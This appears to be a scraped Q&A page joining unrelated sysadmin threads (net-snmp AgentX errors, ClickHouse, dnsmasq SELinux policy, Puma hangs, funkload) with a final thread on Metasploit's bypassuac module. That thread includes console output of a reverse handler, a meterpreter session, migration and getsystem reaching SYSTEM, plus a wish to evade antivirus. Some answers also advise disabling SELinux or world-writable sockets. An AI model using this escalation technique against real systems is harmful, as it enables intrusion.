I have installed net-snmp5.7.2 on my system, I have written my app_agent.conf for my application and
agentXSocket udp:X.X.X.X:1610
and exported SNMPCONFIGPATH=path_to_app_agent.conf
I have also wrtten snmpd.conf in /usr/etc/snmp/snmp.conf
trap2sink X.X.X.Y
agentXSocket udp:X.X.X.X:1610
I have two more snmpd.conf present in my /etc/snmp/ and /var/net-snmp/
Config from /etc/snmp:
com2sec notConfigUser default public
com2sec notConfigUser v1 notConfigUser
com2sec notConfigUser v1 notConfigUser
view systemview included .1.3.6.1.2.1.1
view systemview included .1.3.6.1.2.1.25.1.1
access notConfigGroup "" any noauth exact systemview none none
pass .1.3.6.1.4.1.4413.4.1 /usr/bin/ucd5820stat
Config from /var/net-snmp:
setserialno 1322276014
ifXTable .1 14:0 18:0x $
ifXTable .2 14:0 18:0x $
ifXTable .3 14:0 18:0x $
engineBoots 14
oldEngineID 0x80001f888000e17f6964b28450
I have started snmpd and snmptrapd. Now in my code I am calling
netsnmp_ds_set_boolean(NETSNMP_DS_APPLICATION_ID, NETSNMP_DS_AGENT_ROLE, 1);
init_agent("app_agent");
init_snmp("app_agent");
init_snmp is throwing a warning
Warning: Failed to connect to the agentx master agent ([NIL]):
I have no idea why?? Thanks in advance for any help
This is basically saying the sub-agent you wrote failed to connect to NetSNMP master agent, as the message suggested. In Linux, by default agentx will attempt to make the connection via socket using /var/agentx/master. The following hint might help:
Running your sub-agent under appropriate privilege that has access
to sockets e.x. sudo
Check socket setting in your snmpd.conf (which located varies) if not already specified, such as
agentxsocket /var/agentx/master and agentxperms 777 777
Restart NetSNMP for any change to take effect with sudo service snmpd restart; or as an option you can try stop the service with sudo service snmpd stop and run an instance with debugging mode snmpd -f -Lo -Dagentx which most likely will output useful information on sub-agent connection.
I ran into this problem right now with quagga and ospfd and after doing an strace -f -p PID, noticed this among the output:
connect(14, {sa_family=AF_FILE, path="/var/agentx/master"}, 110) = -1 EACCES (Permission denied)
so I:
$ ls -al /var/agentx/
total 8
drwx------ 2 root root 4096 Sep 12 20:50 .
drwxr-xr-x. 27 root root 4096 Sep 12 20:13 ..
srwxrwxrwx 1 root root 0 Sep 12 20:50 master
and then I:
$ chmod 755 /var/agentx/
and immediately zebra and ospfd had their Agentx subnets connect.
$ tail -10f /var/log/quagga/zebra.log
2014/09/12 20:52:59 ZEBRA: snmp[info]: NET-SNMP version 5.5 AgentX subagent connected
$ tail -10f /var/log/quagga/ospfd.log
2014/09/12 20:52:59 OSPF: snmp[info]: NET-SNMP version 5.5 AgentX subagent connected
This is running quagga-0.99.23-2014062401 on RHEL6. hope this helps.
Had a similar problem, whether it be with the unix Sockets or Tcp:localhost:750 i was still getting the same error message:
/var/log/quagga/ospfd.log: warning, failed to connect to Master AgentX [nill] or [tcp:localhost:750].
I resolved the issue by disabling SELINUX.
This is not the answer to your problem, but I too got "Warning: Failed to connect to the agentx master agent ([NIL]):" message when my snmpd service didn't startup properly or went down. For my SNMP Sub-Agent, I used the example they provide, example-demon.c, and found I get this message nonstop (about every second) when processing agent_check_and_process(0) on every loop.
while (true) {
agent_check_and_process(0); /* 0 == don't block */
}
This is how I fixed it.
netsnmp_transport *snmpTransport;
while( true ) {
// Check to see snmpd is still running
snmpTransport = netsnmp_transport_open_client("agentx", NULL);
if (snmpTransport == NULL)
{
// Just went down?
if (snmpAgentDown == false)
{
snmp_log( LOG_INFO, "Net-SNMP Agent is down\n" );
snmpAgentDown = true;
}
Sleep(5000); // Sleep for a 5 sec
} else
{
if (snmpAgentDown)
{
snmp_log( LOG_INFO, "Net-SNMP Agent is back up\n" );
snmpAgentDown = false;
}
// Close connection test
snmpTransport->f_close(snmpTransport); // This burn me without; its needed
netsnmp_transport_free(snmpTransport);
// Process SNMP request and notifications
agent_check_and_process( 0 ); // 0 == don't block, 1 = block
Sleep(1); // Sleep for 1ms; Need to sleep thread, but need subAgent to be responsive too
}
i++;
}
Now if the snmpd goes down, my app can detect it being down and not process agent_check_and_process() stopping the "Warning: Failed to connect to the agentx master agent ([NIL]):" from ever appearing. If snmpd comes back up, then it processes it.
Final Note: I determine that code based off subagent.c file subagent_open_master_session() funtion in net-snmp-5.7.2 package. snmpTransport->f_close(snmpTransport) is also needed and determine that by following what snmp_close() did at the end of subagent_open_master_session() function.
As the subagent of Net-SNMP sometimes unable to read the adress of master agent from the configuration file, so you can even try
/* set the location of master agent */
netsnmp_ds_set_string(NETSNMP_DS_APPLICATION_ID,
NETSNMP_DS_AGENT_X_SOCKET, "udp:X.X.X.X:1610");
Write these lines in the agentx code before calling init_agent().
I have solved problem next comands line in OS Ubuntu 17.07
Change code (add line)
view systemview included .1.3.6.1.2.1.1
view systemview included .1.3.6.1.2.1.2
view systemview included .1.3.6.1.2.1.25.1.1
instead of
view systemview included .1.3.6.1.2.1.1
view systemview included .1.3.6.1.2.1.25.1.1
Write down new line master agentx in /etc/snmpd.conf
Restart snmpd demon:
sudo /etc/init.d/snmpd restart or sudo service snmpd restart
Related
I installed clickhouse 21.2.4.6 (from tgz file) on red hat 7.8 and by executing the command
"systemctl start clickhouse-server"
the clickhouse server does not start and in the error file there are several messages:
Application: DB :: Exception : Listen [::]: 8123 failed: Little :: Exception.
Code: 1000, e.code () = 0, e.displayText () = DNS error: EAI:
Address family for hostname not supported (version 21.2.4.6 (official build)).
The <listen_host> :: 1 </listen_host> tag is commented in the config.xml file and the server ip <listen_host> ip_server </listen_host> is configured.
Can you give me some information to solve this problem?
please find and check your clickhouse-server.service file in systemd related directories and check how exactly clickhouse-server binary run, check --config parameter
usually you just need edit /etc/clickhouse-server/config.xml
and replace <listen_host>::1</listen_host> to <listen_host>127.0.0.1</listen_host>
When I start dnsmasq service in CentOS 7, I get such status:
This is because I add a wblist.conf in /etc/dnsmasq.d/wblist.conf
cat wblist.conf
# for router itself
server=/google.com.tw/192.168.8.20#53
ipset=/google.com.tw/gfwlist
ipset -L gfwlist
Name: gfwlist
Type: hash:net
Revision: 3
Header: family inet hashsize 1024 maxelem 65536
Size in memory: 16784
References: 0
Members:
But if I COMMENT the ipset line, the service can be restarted successfully.
I don't know why. I have used dnsmasq/ipset for a long time, but suddenly got this problem.
Have anyone met this situation?
Disable SElinux is not recommend.
You can solve this problem by create and install a SELinux Policy Modules.
First you need create a type enforcement rules file called my-dnsmasq.te, content like below:
module my-dnsmasq 1.0;
require {
type dnsmasq_t;
class netlink_socket { bind create write };
}
#============= dnsmasq_t ==============
allow dnsmasq_t self:netlink_socket { bind create write };
Now you can compile it into a policy module package file:
checkmodule -M -m -o my-dnsmasq.mod my-dnsmasq.te
semodule_package -o my-dnsmasq.pp -m my-dnsmasq.mod
Once you get the policy module package file my-dnsmasq.pp, install it:
sudo semodule -i my-dnsmasq.pp
Finally, restart the dnsmasq.service:
sudo systemctl restart dnsmasq
And make a test like below:
nslookup google.com.tw
ipset list gfwlist
If everything is fine, you will see a ip is added to ipset.
I found this article SELinux prevents ipset from creating a netlink socket, and I disabled SELinux, then it worked. I don't know why.
I'm experiencing an unresponsive socket in with my Puma setup after random time. Up to this point I don't have a clue what's causing the issue. I was hoping somebody over here can help we with some answers or point me in the right direction. I'm having the following setup:
I'm using the official docker ruby-2.2.3-slim image together with the latest puma release 2.15.3, I've also installed Nginx as a reverse proxy. But I'm already sure Nginx isn't the problem over here because and I've tried to verify if the socket was working using this script. And the socket wasn't working, I got a timeout over there as well so I could ignore Nginx.
This is a testing environment so the server isn't experiencing any extreme load, I've also check memory consumption it has still several GB's of free space so that couldn't be the issue either.
What triggered me to look at the puma socket was the error message I got in my Nginx error logging:
upstream timed out (110: Connection timed out) while reading response header from upstream
Also I couldn't find anything in the logs of puma indicating what is going wrong, over here are my puma setup:
threads 0, 16
app_dir = ENV.fetch('APP_HOME')
environment ENV['RAILS_ENV']
daemonize
bind "unix://#{app_dir}/sockets/puma.sock"
stdout_redirect "#{app_dir}/log/puma.stdout.log", "#{app_dir}/log/puma.stderr.log", true
pidfile "#{app_dir}/pids/puma.pid"
state_path "#{app_dir}/pids/puma.state"
activate_control_app
on_worker_boot do
require 'active_record'
ActiveRecord::Base.connection.disconnect! rescue ActiveRecord::ConnectionNotEstablished
ActiveRecord::Base.establish_connection(YAML.load_file("#{app_dir}/config/database.yml")[ENV['RAILS_ENV']])
end
And this it the output in my puma state file:
---
pid: 43
config: !ruby/object:Puma::Configuration
cli_options:
conf:
options:
:min_threads: 0
:max_threads: 16
:quiet: false
:debug: false
:binds:
- unix:///APP/sockets/puma.sock
:workers: 1
:daemon: true
:mode: :http
:before_fork: []
:worker_timeout: 60
:worker_boot_timeout: 60
:worker_shutdown_timeout: 30
:environment: staging
:redirect_stdout: "/APP/log/puma.stdout.log"
:redirect_stderr: "/APP/log/puma.stderr.log"
:redirect_append: true
:pidfile: "/APP/pids/puma.pid"
:state: "/APP/pids/puma.state"
:control_url: unix:///tmp/puma-status-1449260516541-37
:config_file: config/puma.rb
:control_url_temp: "/tmp/puma-status-1449260516541-37"
:control_auth_token: cda8879717be7a645ea323d931b88d4b
:tag: APP
The application itself is a Rails app on the latest version 4.2.5, it's deployed on GCE (Google Container Engine).
If somebody could give me some pointer's on how to debug this any further would be very much appreciated. Because now I don't see any output anywhere which could help me any further.
EDIT
I replaced the unix socket with tcp connection to Puma with the same result, still hangs after x time
I'd start with:
How many requests get processed successfully per instance of puma?
Make sure you log the beginning and end of each request with the thread id of the thread executing it, what do you see?
Not knowing more about your application, I'd say it's likely the threads get stuck doing some long/blocking calls without timeouts or spinning on some computation until the whole thread pool gets depleted.
We'll see.
I finally found out why my application was behaving the way it was.
After trying to use a tcp connection and switching to Unicorn I start looking into other possible sources.
That's when I thought maybe my connection to Google Cloud SQL could be the problem. Once I read the faq of Cloud SQL, they mentioned that you have to tweak you Compute instances to ensure they keep open your DB connection. So I performed the next steps they recommend and that solved the problem for me, I added them just in case:
# Display the current tcp_keepalive_time value.
$ cat /proc/sys/net/ipv4/tcp_keepalive_time
# Set tcp_keepalive_time to 60 seconds and make it permanent across reboots.
$ echo 'net.ipv4.tcp_keepalive_time = 60' | sudo tee -a /etc/sysctl.conf
# Apply the change.
$ sudo /sbin/sysctl --load=/etc/sysctl.conf
# Display the tcp_keepalive_time value to verify the change was applied.
$ cat /proc/sys/net/ipv4/tcp_keepalive_time
I did set up everything according to tutorial here http://funkload.nuxeo.org/monitoring.html , started monitor server, made bench test, builded report. But in report there are no added graphs from monitoring... Any idea? I am using credential server as well, but that was and is working correctly... its just that after i added monitor things, nothing seems to change...
monitor.conf
[server]
host = localhost
port = 8008
interval = .5
interface = eth0
[client]
host = localhost
port = 8008
my_test.conf:
[main]
title= some title
description= some descr
url=http://localhost:8000
... some other not important lines here
[monitor]
hosts=localhost
[localhost]
port=8008
description=The benching machine
use
sudo easy_install -f http://funkload.nuxeo.org/snapshots/ -U funkload
instead of just
pip install funkload
Looks like pip does have some old bad version of funkload
post/windows/escalate/bypassuac seems to fail for me
For some reason I can't get the post exploitation module bypassuac to work.
This is what I did:
Opened a meterpreter session on the target machine (as the NETWORKSERVICE user)
Put the session in background
Tried to use the post exploitation module like this:
use post/windows/escalate/bypassuac
set SESSION 1
set LHOST 192.168.1.100
set LPORT 4444 exploit
The port is not used yet so should be fine.
The output is as follows:
[-] Handler failed to bind to 192.168.1.100:4444
[] Started reverse handler on 0.0.0.0:4444
[] Starting the payload handler...
[] Uploading the bypass UAC executable to the filesystem...
[] Meterpreter stager executable 73802 bytes long being uploaded..
[] Uploaded the agent to the filesystem....
[] Post module execution completed
Then it returns to the console and does nothing, no new session, nothing whatsoever.
I checked the following things:
Uploading the executable bypassuac-x86.exe manually to the target. That worked perfectly fine.
Checked whether the virusscanner's alarm bells didn't ring from the executable. They didn't
Is there a way of manually running the executable and could someone explain me how that would work to open a new meterpreter session with SYSTEM level access?
Or can I somehow encode the payload and use my custom template to evade all antivirus possibilities? I haven't found any option to encode post-exploitation modules yet.
Thanks in advance
Halvar
msf exploit(handler) > use post/windows/escalate/bypassuac
msf post(bypassuac) > show options
Module options:
Name Current Setting Required Description
—- ————— ——– ———–
RHOST no Host
RPORT 4444 no Port
SESSION yes The session to run this module on.
msf post(bypassuac) > set SESSION 1
SESSION => 1
msf post(bypassuac) > exploit
[*] Started reverse handler on 192.168.1.100:4444
[*] Starting the payload handler…
[*] Uploading the bypass UAC executable to the filesystem…
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem….
[*] Executing the agent with endpoint 192.168.1.100:4444 with UACBypass in effect…
[*] Post module execution completed
msf post(bypassuac) >
[*] Sending stage (749056 bytes) to 192.168.1.100
[*] Meterpreter session 2 opened (192.168.1.100:4444 -> 192.168.1.102:1565) at Thu Jan 06 12:41:13 -0500 2011
[*] Session ID 2 (192.168.1.100:4444 -> 192.168.1.102:1565) processing InitialAutoRunScript ‘migrate -f’
[*] Current server process: zuWlXDpYlOMM.exe (2640)
[*] Spawning a notepad.exe host process…
[*] Migrating into process ID 3276
[*] New server process: notepad.exe (3276)
msf post(bypassuac) > sessions -i 2
[*] Starting interaction with 2…
meterpreter > getsystem
…got system (via technique 1).
meterpreter > sysinfo